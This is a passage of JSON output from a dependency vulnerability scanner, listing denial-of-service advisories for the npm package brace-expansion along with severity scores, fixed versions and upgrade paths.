multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 